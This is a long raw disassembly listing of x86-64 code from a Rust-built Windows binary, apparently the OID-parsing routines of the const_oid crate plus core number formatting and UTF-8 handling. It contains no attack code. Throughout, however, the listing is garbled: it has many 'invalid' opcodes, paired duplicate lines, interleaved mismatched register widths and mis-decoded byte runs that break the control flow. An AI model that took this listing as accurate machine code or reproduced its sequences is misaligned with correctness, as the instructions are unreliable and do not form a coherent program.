xor r9d, r9d
xor r11d, r11d
jmp 0x14003ce0c
mov esi, r9d
movzx r9d, bl
inc r11
shl esi, 7
and r9d, 0x7f
or r9d, esi
test bl, bl
jns 0x14003cf4d
cmp al, 0x28
jae case.0x14002b311.45
lea rsi, [r8 + r11]
cmp rsi, rax
jae 0x14003cf42
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + 0xf], al
mov dh, 0x1c
sbb cl, byte [rcx - 0x7d]
sti
add al, 0x72
invalid
movzx ebx, byte [r10 + r11]
cmp r11, 4
jb 0x14003cdf0
cmp bl, 0xf
jbe 0x14003cdf0
mov byte [rcx + 4], 1
jmp 0x14003cf56
mov r8, qword [rdx + 0x10]
movzx eax, byte [r8]
adc byte [rcx + 0xf], al
mov dh, 0
cmp rax, 0x28
cmp eax, 0x28
jae case.0x14002b311.45
test rax, rax
je 0x14003cf89
movzx eax, byte [r8 + 1]
add dword [rcx + rbp*2 - 0x40], eax
int 0
add byte [rax], al
imul r8d, eax, 0xcd
shr r8d, 0xd
cmp ax, 0x78
jae case.0x14007fe84.139
lea r9d, [r9 + r9*4]
sub al, r9b
movzx r8d, r8b
shl r8d, 3
lea r8d, [r8 + r8*4]
add r8b, al
mov qword [rdx], 1
mov qword [rdx + 8], 0
add byte [rcx + 0xf], al
mov dh, 0xc0
add byte [rcx + 0xf], al
mov dh, 0xc0
imul eax, eax, 0xcd
shr eax, 0xd
jmp 0x14003cf1b
movzx eax, byte [r9]
movzx eax, byte [rcx]
cmp rax, 0x28
jae case.0x14002b311.45
test rax, rax
je 0x14003cf92
movzx eax, byte [r9 + 1]
imul r8d, eax, 0xcd
shr r8d, 0xd
cmp ax, 0x78
jae case.0x14007fe84.139
push rdx
push rdx
mov r9d, r8d
shl r9d, 3
lea r9d, [r9 + r9*4]
sub al, r9b
movzx r8d, r8b
shl r8d, 3
lea r8d, [r8 + r8*4]
add r8b, al
ror byte [rax - 0x39], 2
add dword [rax], eax
add byte [rax], al
ror byte [rax - 0x39], 2
add dword [rax], eax
add byte [rax], al
mov qword [rdx + 8], 1
movzx eax, r8b
add byte [rcx + 0xf], al
mov dh, 0xc0
imul edx, eax, 0xcd
shr edx, 0xa
invalid
or al, byte [rbx + 0x148df8e2]
xchg edx, eax
invalid
or al, byte [rbx + 0x148df8e2]
xchg edx, eax
sub al, dl
movzx eax, al
mov dword [rcx + 4], 1
add byte [rax], al
mov dword [rcx + 8], eax
xor eax, eax
jmp 0x14003cf5b
movzx eax, r8b
movzx eax, al
shl rax, 0x10
loopne 0x14003cf41
mov word [rcx + 4], 0
mov dword [rcx + 6], eax
mov word [rcx + 0xa], 0
add byte [rax], al
add byte [rax], al
jmp 0x14003cf56
adc al, 0x4d
test ebx, ebx
invalid
test r11, r11
invalid
je 0x14003cf7e
mov byte [rcx + 4], 2
jmp 0x14003cf56
add r8, r11
jae 0x14003cf64
mov eax, 1
mov dword [rcx], eax
add rsp, 0x28
invalid
sub byte [rbx + 0x5e], bl
invalid
sub byte [rbx + 0x5e], bl
ret
mov dword [rcx + 4], 1
mov dword [rcx + 8], r9d
xor eax, eax
jmp 0x14003cf5b
mov dword [rcx + 4], 0
xor eax, eax
shr bl, 0xd2
shr bl, 0xd2
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fconst_oid_0.9.5_src_arcs.rs
lea eax, [0x1400cf5a0]
jmp 0x14003cf99
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fconst_oid_0.9.5_src_arcs.rs
xor ecx, ecx
xor edx, edx
call fcn.1400a4430
invalid
je 0x14003cfa7
add byte [rdi], cl
invalid
invalid
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fconst_oid_0.9.5_srclib.rs
lea eax, [0x1400cf660]
mov edx, 0x27
mov rcx, rax
call fcn.1400a44b0
invalid
add byte [rdi], cl
invalid
invalid
int3
push rsi
sub rsp, 0x40
sub esp, 0x40
sub esp, 0x40
mov rsi, rdx
mov esi, edx
movzx eax, byte [rcx]
lea rdx, [0x1400e6c0c]
movsxd rax, dword [rdx + rax*4]
add al, 0x82
add al, 0x82
add rax, rdx
add eax, edx
jmp rax
loopne 0x14003d024
add rcx, 4
add ecx, 4
mov qword [rsp + 0x38], rcx
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.ArcInvalidarcArcTooBigBase128DigitExpectedNotEnoughArcsTrailingDotassertion_failed:_edelta___0librarycore_src_numdiy_float.rs
add byte [rcx - 0x48], al
or al, byte [rax]
add byte [rax], al
add byte [rcx - 0x48], al
or al, byte [rax]
add byte [rax], al
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
and al, 0x30
and al, 0x30
mov byte [rsp + 0x31], 0
lea rax, [0x14003d1a0]
pop qword [rcx]
add byte [rax], al
pop qword [rcx]
add byte [rax], al
mov qword [rsp + 0x20], rax
lea rdx, [0x1400cf6ba]
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x38]
and al, 0x38
mov r8d, 3
mov eax, 3
jmp 0x14003d0bf
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400cf6bd]
mov r8d, 9
jmp 0x14003d171
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x92663
sbb byte [rax - 0x73], cl
adc eax, 0x92663
mov r8d, 7
jmp 0x14003d171
inc rcx
mov qword [rsp + 0x38], rcx
and al, 0x38
and al, 0x38
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400cf6cd]
mov r8d, 0xd
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
and al, 0x28
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
add byte [rax - 0x73], cl
add eax, 0x502d
add byte [rax - 0x73], cl
add eax, 0x502d
mov qword [rsp + 0x20], rax
and al, 0x20
lea rdx, [0x1400d7e9a]
lea edx, [0x1400d7e9a]
lodsd eax, dword [rsi]
or dword [rax], eax
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x38]
and al, 0x38
and al, 0x38
mov r8d, 6
call fcn.14003fab0
sub dword [rax], eax
add byte [rax + 0x31247c], al
cmp byte [rsp + 0x31], 0
cmp byte [rsp + 0x31], 0
movzx eax, byte [rsp + 0x30]
je 0x14003d191
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + rax*8 - 0x7af0fe50], al
mov bl, 0
test al, al
mov al, 1
jne 0x14003d191
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x28]
test byte [rax + 0x34], 4
jne 0x14003d179
invalid
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x9e4c3
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400db5bf]
mov r8d, 2
jmp 0x14003d18e
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d118a]
mov r8d, 5
jmp 0x14003d171
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d9d54]
mov r8d, 6
jmp 0x14003d171
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400cf6da]
mov r8d, 0xd
jmp 0x14003d171
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400cf6e7]
mov r8d, 0xb
add rsp, 0x40
pop rsi
jmp rax
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e13db]
mov r8d, 1
call qword [rax + 0x18]
test al, al
setne al
add rsp, 0x40
pop rsi
ret
mov qword [rsp + 0x80], rbx
mov qword [rsp + 0x88], 0
lea rbx, [rsp + 0x40]
lea r13, [rsp + 0x30]
xorps xmm6, xmm6
nop dword [rax]
mov rcx, rbx
lea rdx, [rsp + 0x70]
call fcn.14003cdc0
cmp dword [rsp + 0x40], 0
jne 0x14003d58b
mov ebp, dword [rsp + 0x44]
test ebp, ebp
je 0x14003d566
mov eax, dword [rsp + 0x48]
mov r14, qword [rsp + 0x88]
lea rcx, [r14 + 1]
mov qword [rsp + 0x88], rcx
mov dword [rsp + 0x2c], eax
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x30], rax
lea rax, [0x14003f490]
mov qword [rsp + 0x38], rax
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 1
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.14003e1b0
test al, al
jne 0x14003d566
inc r14
cmovne r15, r14
je 0x14003d480
cmp r15, r12
jae 0x14003d480
invalid
invalid
invalid
invalid
and al, 0x40
mov qword [rsp + 0x48], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x50], rax
movups xmmword [rsp + 0x58], xmm6
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.14003e1b0
test al, al
je 0x14003d480
mov eax, ebp
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x44]
mov qword [rsp + 0x30], rax
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fconst_oid_0.9.5_src_arcs.rs
mov qword [rsp + 0x20], rax
lea rcx, str.OID_malformed
lea r9, [0x1400cf518]
lea r8, [rsp + 0x30]
mov edx, 0xd
call fcn.1400a48c0
ud2
add byte [rax], al
lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
cmp rcx, 0x2710
jb 0x14003d6d0
mov r11d, 0x27
movabs r10, 0x346dc5d63886594b
nop word cs:[rax + rax]
mov rax, rcx
mul r10
shr rdx, 0xb
imul eax, edx, 0x2710
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
shr edi, 0x13
imul eax, edi, 0x64
sub esi, eax
movzx esi, si
lea rax, [r11 - 4]
movzx edi, word [r8 + rdi*2]
mov word [rsp + r11 + 0x2d], di
movzx esi, word [r8 + rsi*2]
mov word [rsp + r11 + 0x2f], si
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
sal dword [rdi - 0x4e], 1
sal dword [rdi - 0x4e], 1
cmp rdx, 0x63
jbe 0x14003d6be
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r10d, ecx, 0x64
sub edx, r10d
movzx edx, dx
movzx edx, word [r8 + rdx*2]
mov word [rsp + rax + 0x2f], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
cmp rdx, 0xa
jae case.0x14007fe84.143
add dl, 0x30
mov byte [rsp + rax + 0x30], dl
dec rax
jmp 0x14003d6e9
mov rdx, rcx
cmp rdx, 0x63
ja 0x14003d694
jmp 0x14003d6be
movzx ecx, word [r8 + rdx*2]
mov word [rsp + rax + 0x2f], cx
add rax, 0xfffffffffffffffe
sar dh, 0x48
lea ecx, [rsp + rax]
sar dh, 0x48
lea ecx, [rsp + rax]
add rcx, 0x31
mov edx, 0x27
add byte [rax], al
add byte [rax + 0x29], cl
invalid
add byte [rax], al
add byte [rax + 0x29], cl
ret 0x8948
sub edx, eax
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov rcx, r9
mov dl, 1
xor r9d, r9d
call fcn.14003d720
nop
add rsp, 0x58
pop rdi
pop rsi
ret
cmove ebp, edx
add rcx, r15
test al, 4
je 0x14003d78a
mov r8, r14
test r14, r14
je 0x14003d806
invalid
cmp r14, 1
jne 0x14003d78e
shr bl, cl
jbe 0x14003d7c4
lea ecx, [rdi + 1]
mov eax, dword [rdi + 0x34]
mov ebp, 0x2d
test al, 4
jne 0x14003d761
xor ebx, ebx
jmp 0x14003d809
mov edx, esi
and rdx, 0xfffffffffffffffe
pxor xmm0, xmm0
xor r8d, r8d
movdqa xmm1, xmmword [0x1400a95c0]
movdqa xmm2, xmmword [0x1400a95d0]
adc eax, 0x6be24
mov esi, 0xf660006
outsd dx, dword [rsi]
adc eax, 0x6be24
nop dword [rax]
movzx r9d, word [rbx + r8]
movd xmm3, r9d
movd mm3, ecx
movd mm3, ecx
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
punpcklbw mm3, mm3
punpcklbw mm3, mm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
invalid
pand xmm3, xmm2
paddq xmm0, xmm3
add r8, 2
cmp rdx, r8
jne 0x14003d7b0
jo 0x14003d7a1
invalid
invalid
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r8, xmm1
cmp rdx, r14
je 0x14003d806
xor r9d, r9d
cmp byte [rbx + rdx], 0xc0
setge r9b
add r8, r9
inc rdx
cmp r14, rdx
jne 0x14003d7f0
add rcx, r8
mov r13, qword [rsp + 0xb0]
cmp qword [rdi], 0
je 0x14003d84d
mov rsi, qword [rdi + 8]
sub rsi, rcx
jbe 0x14003d84d
test al, 8
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x40], ebp
mov dword [rsp + 0x40], ebp
jne 0x14003d8a4
mov qword [rsp + 0x38], r15
movzx r15d, byte [rdi + 0x38]
lea rax, [0x1400e6c2c]
movsxd rcx, dword [rax + r15*4]
add rcx, rax
jmp rcx
mov r15, rsi
xor esi, esi
jmp case.0x14003d841.0
mov r12, qword [rdi + 0x20]
mov rdi, qword [rdi + 0x28]
and byte [eax - 0x75], cl
jg 0x14003d87d
mov qword [rsp + 0x20], r14
mov rcx, r12
mov ecx, esp
mov ecx, esp
mov rdx, rdi
mov r8d, ebp
mov r9, rbx
call fcn.14003de00
xchg ebp, eax
add eax, 0x1b30000
xchg ebp, eax
add eax, 0x1b30000
test al, al
je 0x14003d884
mov eax, ebx
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rdi + 0x18]
mov rcx, r12
mov rdx, r13
mov r8, r15
mov eax, edi
mov eax, edi
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
mov eax, dword [rdi + 0x30]
mov dword [rsp + 0x38], eax
mov dword [rdi + 0x30], 0x30
movzx eax, byte [rdi + 0x38]
mov byte [rsp + 0x37], al
mov byte [rdi + 0x38], 1
mov r13, qword [rdi + 0x20]
mov r12, qword [rdi + 0x28]
mov qword [rsp + 0x20], r14
mov rcx, r13
mov rdx, r12
mov r8d, ebp
mov r9, rbx
call fcn.14003de00
mov bl, 1
test al, al
jne 0x14003d871
add byte [rax - 1], cl
invalid
jmp 0x1400409ba
mov r12, qword [rdi + 0x20]
mov r13, qword [rdi + 0x28]
mov edi, dword [rdi + 0x30]
inc r15
nop dword [rax]
dec r15
je 0x14003d949
mov rcx, r12
mov edx, edi
call qword [r13 + 0x20]
test al, al
je 0x14003d930
mov qword [rsp + 0x20], r14
mov rcx, r12
mov rdx, r13
mov r8d, ebp
mov r9, rbx
call fcn.14003de00
mov bl, 1
test al, al
jne 0x14003d871
lea r11, [r10 + rsi*8]
sub rdx, rsi
mov ebx, esi
and ebx, 3
mov r14, rcx
and r14, r9
shr rcx, 8
and rcx, r9
add rcx, r14
imul rcx, r8
shr rcx, 0x30
add rcx, rax
test rbx, rbx
jne 0x14003dd60
mov rax, rcx
test rdx, rdx
je 0x14003ddec
mov r10, r11
cmp rdx, 0xc0
mov esi, 0xc0
cmovb rsi, rdx
cmp rsi, 4
jb 0x14003db90
movdqu xmm2, xmmword [rcx]
movdqu xmm5, xmmword [rcx + 0x20]
movdqa xmm4, xmm2
punpcklqdq xmm4, xmm5
movdqa xmm6, xmm4
pxor xmm6, xmm0
psrlq xmm6, 7
psrlq xmm4, 6
por xmm4, xmm6
pand xmm4, xmm1
paddq xmm4, xmm3
movdqu xmm3, xmmword [rcx + 0x10]
movdqu xmm6, xmmword [rcx + 0x30]
punpckhqdq xmm2, xmm5
movdqa xmm5, xmm3
punpcklqdq xmm5, xmm6
punpckhqdq xmm3, xmm6
movdqa xmm6, xmm2
pxor xmm6, xmm0
psrlq xmm6, 7
psrlq xmm2, 6
por xmm2, xmm6
pand xmm2, xmm1
movdqa xmm6, xmm5
pxor xmm6, xmm0
psrlq xmm6, 7
psrlq xmm5, 6
por xmm5, xmm6
pand xmm5, xmm1
paddq xmm5, xmm2
paddq xmm5, xmm4
movdqa xmm2, xmm3
pxor xmm2, xmm0
psrlq xmm2, 7
rol byte [rdi], cl
rol byte [rdi], cl
psrlq xmm3, 6
por xmm3, xmm2
pand xmm3, xmm1
paddq xmm3, xmm5
add rcx, 0x40
add r12, 0xfffffffffffffffe
jne 0x14003dc20
pshufd xmm2, xmm3, 0xee
paddq xmm2, xmm3
movq rcx, xmm2
cmp r14, r15
je 0x14003db92
add rbx, r10
jmp 0x14003dcf2
shl r11, 5
add r11, r10
nop dword [rax]
movdqu xmm2, xmmword [rbx]
movdqu xmm3, xmmword [rbx + 0x10]
movdqa xmm4, xmm2
pxor xmm4, xmm0
movdqa xmm5, xmm3
pxor xmm5, xmm0
psrlq xmm5, 7
psrlq xmm4, 7
psrlq xmm3, 6
por xmm3, xmm5
psrlq xmm2, 6
por xmm2, xmm4
pand xmm3, xmm1
pand xmm2, xmm1
paddq xmm2, xmm3
pshufd xmm3, xmm2, 0xee
paddq xmm3, xmm2
movq r14, xmm3
add rcx, r14
add rbx, 0x20
cmp rbx, r11
jne 0x14003dd00
jmp 0x14003db92
and esi, 0xfc
mov rdx, qword [r10 + rsi*8]
mov rax, rdx
not rax
shr rax, 7
shr rdx, 6
or rdx, rax
movabs rax, 0x101010101010101
and rdx, rax
cmp ebx, 1
je 0x14003ddca
mov r11, qword [r10 + rsi*8 + 8]
mov rdi, r11
not rdi
shr rdi, 7
shr r11, 6
or r11, rdi
and r11, rax
add rdx, r11
cmp ebx, 2
je 0x14003ddca
and r9, rdx
shr rdx, 8
movabs rax, 0x700ff00ff00ff
and rax, rdx
add rax, r9
imul rax, r8
shr rax, 0x30
add rax, rcx
movaps xmm6, xmmword [rsp]
add rsp, 0x18
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
mov rax, qword [rcx]
mov rcx, qword [rcx + 0x10]
mov rdx, rax
or rdx, rcx
je 0x14003e0ad
leave
je 0x14003dfe5
mov r9, qword [rbx + 0x18]
mov ecx, dword [rbx + 0x18]
lea r8, [rdi + rsi]
inc r9
xor ecx, ecx
mov rdx, rdi
jmp 0x14003deca
test byte [rax], al
add byte [rax], al
add byte [rax], al
lea r14, [rdx + 1]
jb 0x14003deb5
sub rcx, rdx
add rcx, r14
mov rdx, r14
cmp r10d, 0x110000
je 0x14003dfe5
dec r9
je 0x14003df69
movzx r10d, r14b
test r10b, r10b
jns 0x14003deb0
mov r11d, r10d
and r11d, 0x1f
movzx r15d, byte [rdx + 1]
and r15d, 0x3f
cmp r10b, 0xdf
jbe 0x14003df43
movzx ebp, byte [rdx + 2]
shl r15d, 6
and ebp, 0x3f
or ebp, r15d
cmp r14b, 0xf0
jb 0x14003df56
invalid
movzx r10d, byte [rdx + 3]
and r11d, 7
shl r11d, 0x12
shl ebp, 6
and r10d, 0x3f
or r10d, ebp
or r10d, r11d
cmp r10d, 0x110000
je 0x14003dfe5
lea r14, [rdx + 4]
jmp 0x14003deb4
lea r14, [rdx + 2]
shl r11d, 6
shl ebx, 6
shl ebx, 6
or r11d, r15d
mov r10d, r11d
jmp 0x14003deb4
test r8b, r8b
jns 0x14003dfc1
cmp r8b, 0xe0
jb 0x14003dfc1
loopne 0x14003dfee
cmp r8b, 0xf0
cmp r8b, 0xf0
jb 0x14003dfc1
movzx r8d, r8b
movzx r9d, byte [rdx + 1]
and r9d, 0x3f
movzx r10d, byte [rdx + 2]
and r10d, 0x3f
movzx edx, byte [rdx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 0xc
shl r10d, 6
or r10d, r9d
and edx, 0x3f
or edx, r10d
or edx, r8d
cmp edx, 0x110000
je 0x14003dfe5
test rcx, rcx
je 0x14003dfd7
cmp rcx, rsi
jae 0x14003dfd5
cmp byte [rdi + rcx], 0xc0
jge 0x14003dfd7
cmp al, 0xf
sar byte [rbp + 6], 0x31
shr bl, cl
add eax, 0x8948fa75
cli
jne 0x14003dfd1
mov rdx, rdi
test rdx, rdx
cmovne rsi, rcx
cmovne rdi, rdx
cli
cli
test rax, rax
je 0x14003e0ad
mov r15, qword [rbx + 8]
cmp rsi, 0x20
jae 0x14003e010
mov rax, rsi
test rsi, rsi
test esi, esi
test esi, esi
je 0x14003e08f
cmp rsi, 1
jne 0x14003e01d
xor eax, eax
xor ecx, ecx
jmp 0x14003e07b
mov rcx, rdi
mov rdx, rsi
call fcn.14003d9f0
jmp 0x14003e08f
mov rcx, rsi
and rcx, 0xfffffffffffffffe
pxor xmm0, xmm0
out dx, eax
sal byte [rcx], 0xc0
out dx, eax
sal byte [rcx], 0xc0
movdqa xmm1, xmmword [0x1400a95c0]
movdqa xmm2, xmmword [0x1400a95d0]
xchg esi, eax
mov ch, 6
add byte [rsi + 0xf], ah
invalid
add byte [rax], r8b
add byte [rax], al
invalid
xchg esi, eax
mov ch, 6
add byte [rsi + 0xf], ah
invalid
movzx edx, word [rdi + rax]
movd xmm3, edx
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add rax, 2
cmp rcx, rax
jne 0x14003e040
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq rax, xmm1
invalid
jmp 0x14003e08a
enter 0xfeb, 0x31
rol byte [rax + 0xfc00f3c], cl
popfq
ret 0x148
xor edx, edx
cmp byte [rdi + rcx], 0xc0
setge dl
add rax, rdx
inc rcx
cmp rsi, rcx
jne 0x14003e07b
sub r15, rax
jbe 0x14003e0ad
movzx eax, byte [rbx + 0x38]
lea rcx, [0x1400e6c3c]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
jmp rax
or dword [rax + 1], 0x45e0ffc8
xor ebp, ebp
in eax, dx
xor r13d, r13d
in eax, dx
jmp 0x14003e0e6
mov rcx, qword [rbx + 0x20]
mov rax, qword [rbx + 0x28]
mov rax, qword [rax + 0x18]
mov rdx, rdi
mov r8, rsi
add rsp, 0x28
sub byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
jmp rax
mov r13, r15
xor r15d, r15d
jmp 0x14003e0e6
mov r13, r15
shr r13, 1
inc r15
shr r15, 1
mov r14, qword [rbx + 0x20]
mov r12, qword [rbx + 0x28]
mov ebx, dword [rbx + 0x30]
inc r13
nop word cs:[rax + rax]
mov rcx, r14
dec r13
je 0x14003e117
mov byte [rsi + 8], al
mov byte [rsi + 9], 1
mov rax, rsi
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
ret
movabs byte [0x5824448948000905], al
lea rdx, [rsp + 0x30]
mov rcx, rbx
call rdi
test al, al
je 0x14003fec8
mov al, 1
jmp 0x14003fdd7
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
lea rdx, [0x1400df557]
or dword [rax], eax
or dword [rax], eax
mov r8d, 2
call qword [rax + 0x18]
sbb cl, ch
invalid
invalid
invalid
invalid
sbb cl, ch
invalid
cmp dword [rax], eax
je 0x14003ff0d
lea rdx, [0x1400df531]
mov r8d, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
mov rcx, rax
jmp fcn.14003de60
lea rdx, [0x1400df52c]
mov r8d, 5
mov rcx, rax
jmp fcn.14003de60
mov al, 1
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
sub r15, r12
add r15, rdi
cmp rdi, qword [rsp + 0x60]
je 0x140040202
mov r12, rdi
movzx ebp, byte [rdi]
test bpl, bpl
js 0x14003ffd0
lea rdi, [r12 + 1]
jmp 0x140040040
mov eax, ebp
and eax, 0x1f
movzx edx, byte [r12 + 1]
and edx, 0x3f
cmp bpl, 0xdf
jbe 0x140040023
lea rdi, [r12 + 3]
movzx ecx, byte [r12 + 2]
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp bpl, 0xf0
jb 0x140040031
movzx ebp, byte [rdi]
and eax, 7
shl eax, 0x12
shl ecx, 6
and ebp, 0x3f
or ebp, ecx
or ebp, eax
cmp ebp, 0x110000
je 0x140040202
lea rdi, [r12 + 4]
jmp 0x140040040
lea rdi, [r12 + 2]
shl eax, 6
or eax, edx
mov ebp, eax
jmp 0x140040040
shl eax, 0xc
or ecx, eax
mov ebp, ecx
nop dword [rax + rax]
lea rcx, [rsp + 0x4c]
mov edx, ebp
mov r8d, 0x10001
call fcn.140040290
cmp byte [rsp + 0x4c], 0x80
je 0x14003ffa8
movzx eax, byte [rsp + 0x57]
mov dh, 0x44
and al, 0x57
sub al, byte [rsp + 0x56]
cmp al, 1
je 0x14003ffa8
mov r8, r15
sub r8, r13
jb 0x140040251
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbp - 0x7b], cl
in eax, dx
test r13, r13
je 0x140040098
cmp r13, qword [rsp + 0x38]
insb byte [rdi], dx
and al, 0x38
jae 0x140040092
cmp byte [rbx + r13], 0xc0
jge 0x140040098
jmp 0x140040251
jne 0x140040251
test dword [rcx + 0x4d000001], edi
test edi, edi
add dword [rax], eax
add byte [rbp - 0x7b], cl
push qword [rcx + rbx + 0x4c]
cmp edi, dword [rsp + 0x38]
test r15, r15
je 0x1400400b6
cmp r15, qword [rsp + 0x38]
jae 0x1400400b0
cmp byte [rbx + r15], 0xbf
jg 0x1400400b6
cmp edi, dword [rdi - 0x5e16f481]
mov edi, 0xa1e90b7f
jmp 0x140040251
add dword [rax], eax
add byte [rdi], cl
jne 0x140040251
test dword [rbx + 0x49000001], ebx
add ebp, ebx
add byte [rcx + 1], cl
fisttp qword [rax - 0x77]
int1
add r13, rbx
mov rcx, rsi
mov rdx, r13
mov rax, qword [rsp + 0x40]
call qword [rax + 0x18]
test al, al
jne 0x14003ff61
mov eax, dword [rsp + 0x54]
and al, 0x54
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x4c]
and al, 0x4c
and al, 0x4c
mov qword [rsp + 0x28], rax
cmp al, 0x80
jne 0x140040150
mov bl, 0x80
jmp 0x140040115
sub al, 0xc7
and al, 0x30
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x28], 0
xor ebx, ebx
mov rcx, rsi
call r14
test al, al
jne 0x14003ff61
invalid
invalid
invalid
invalid
invalid
cmp bl, 0x80
je 0x1400400f0
xor esi, dword [rbx + 0x69]
lea eax, [r13 + 1]
mov byte [rsp + 0x32], al
cmp r13b, 0xa
std
or cl, byte [rdi]
add dword [rdx], 1
add byte [rax], al
std
or cl, byte [rdi]
add dword [rdx], 1
add byte [rax], al
movzx edx, byte [rsp + r13 + 0x28]
jmp case.0x14004753d.131
nop word cs:[rax + rax]
movzx ebx, byte [rsp + 0x33]
movzx r13d, byte [rsp + 0x32]
nop dword [rax + rax]
cmp r13, rbx
jae 0x140040190
lea eax, [r13 + 1]
mov byte [rsp + 0x32], al
cmp r13, 9
std
or dword [rdi], ecx
xchg esp, eax
add byte [rax], al
invalid
std
or dword [rdi], ecx
xchg esp, eax
add byte [rax], al
add byte [rdx + 0xf], al
mov dh, 0x54
sub al, 0x28
mov rcx, rsi
call r14
inc r13
test al, al
je 0x140040160
jmp 0x14003ff61
std
invalid
mov r13d, 1
cmp ebp, 0x80
add byte [rax], al
add byte [rdi], cl
invalid
invalid
std
invalid
invalid
add byte [rax], al
add byte [rdi], cl
invalid
std
invalid
add rbx, r13
mov rcx, rsi
mov rdx, rbx
call qword [r15 + 0x18]
test al, al
jne 0x14003ff61
test dword [rbp - 3], edi
invalid
mov rcx, rsi
mov edx, 0x22
add byte [rax], al
add byte [rcx + rcx*4 - 0x10], cl
add byte [rax], al
add byte [rcx + rcx*4 - 0x10], cl
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
invalid
loopne case.0x14003cbdd.82
test r13, r13
test ebp, ebp
je 0x140040222
mov rdx, qword [rsp + 0x38]
mov rax, rdx
cmp byte [rax - 0x77], cl
ror byte [rcx + rbp - 0x18], 1
sub rax, r13
sub rax, r13
sub eax, ebp
mov r15, qword [rsp + 0x40]
and al, 0x40
jbe 0x140040231
cmp byte [rbx + r13], 0xbf
jg 0x140040236
invalid
mov edi, 0x50eb167f
jmp case.0x14003cfd9.16
xor r13d, r13d
xor ebp, ebp
mov r8, qword [rsp + 0x38]
